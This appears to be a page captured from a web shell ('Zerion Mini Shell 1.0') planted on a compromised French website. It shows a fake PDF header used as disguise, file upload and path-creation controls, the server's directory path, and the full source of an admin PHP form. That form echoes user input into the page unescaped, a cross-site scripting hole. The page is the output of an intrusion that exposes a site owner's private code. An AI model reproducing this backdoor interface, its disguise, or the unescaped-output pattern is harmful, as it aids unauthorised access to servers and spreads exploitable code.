%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/a-ajouter_public.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/session.php");
include_once("inc/init.php");

verif_co_admin();



if(isset($_POST['post']) && $_POST['post'] == 1)
{
	$erreur = $db->verif($_POST['libelle_fr'], "Le libelle français");
	if($erreur == "ok") $erreur = $db->verif($_POST['libelle_en'], "Le libelle anglais");
	if($erreur == "ok")
	{
		
		$next_ordre = $db->next_ordre("public");
		$values = array(
			"ordre" => $next_ordre
		);

		$db->insert("public", $values);
		$next_id=$db->lastId();
		
		//tag_fr
		$values = array (
			"id_public" => $next_id,
			"lang" => 1,
			"libelle" => $_POST['libelle_fr']
			);
		$db->insert("public_lang", $values);
			
		//tag_en
		$values = array (
			"id_public" => $next_id,
			"lang" => 2,
			"libelle" => $_POST['libelle_en']
		);
		$db->insert("public_lang", $values);
	
		header("Location:gerer_public.php?msg=yes");
	}
	else {
		$err = true;
	}
}

//affichage du html
include("theme/html.php");
//affichage des metas
include("theme/meta.php");
echo "\n<title>Ajouter un public - ".$info_titresite."</title>\n";
//affichage du header
include("theme/header_admin.php");

?>

<div class="text_admin">
<h2>Ajouter un public </h2>
<?php
if($_GET['msg']=="yes") {
	echo "<p class=\"infobloc\">Opération effectuée</p>";
}
if(isset($err) && $err) {
	echo "<p class=\"erreurbloc\">".$erreur."</p>";
}	
?>
<form action="admin/ajouter_public.php" method="post" class="form">
	<table>
		<tr>
			<td class="label"></td>
			<td class="field head">Français</td>
			<td class="field head">Anglais</td>
		</tr>
		<tr>
			<td class="label">Libelle public <span class="etoile">*</span></td>
			<td class="field"><input type="text" name="libelle_fr" value="<?php echo $_POST['libelle_fr']; ?>" /></td>
			<td class="field"><input type="text" name="libelle_en" value="<?php echo $_POST['libelle_en']; ?>" /></td>
		</tr>
		<!--<tr>
			<td class="label">Visible</td>
			<td class="field"><input type="checkbox" name="visible" value="1" <?=(($_POST['visible']==1)?'checked="checked"':"")?>/></td>
		</tr>
		-->
		
		
	</table>
	<div class="form_bouton">
		<input type="hidden" name="post" value="1" />
		<input type="submit" class="bouton" id="maj_bouton" value="Créer le public" />
	</div>
</form>


</div>

<?

//affichage du footer
include("theme/footer.php");

?>

Zerion Mini Shell 1.0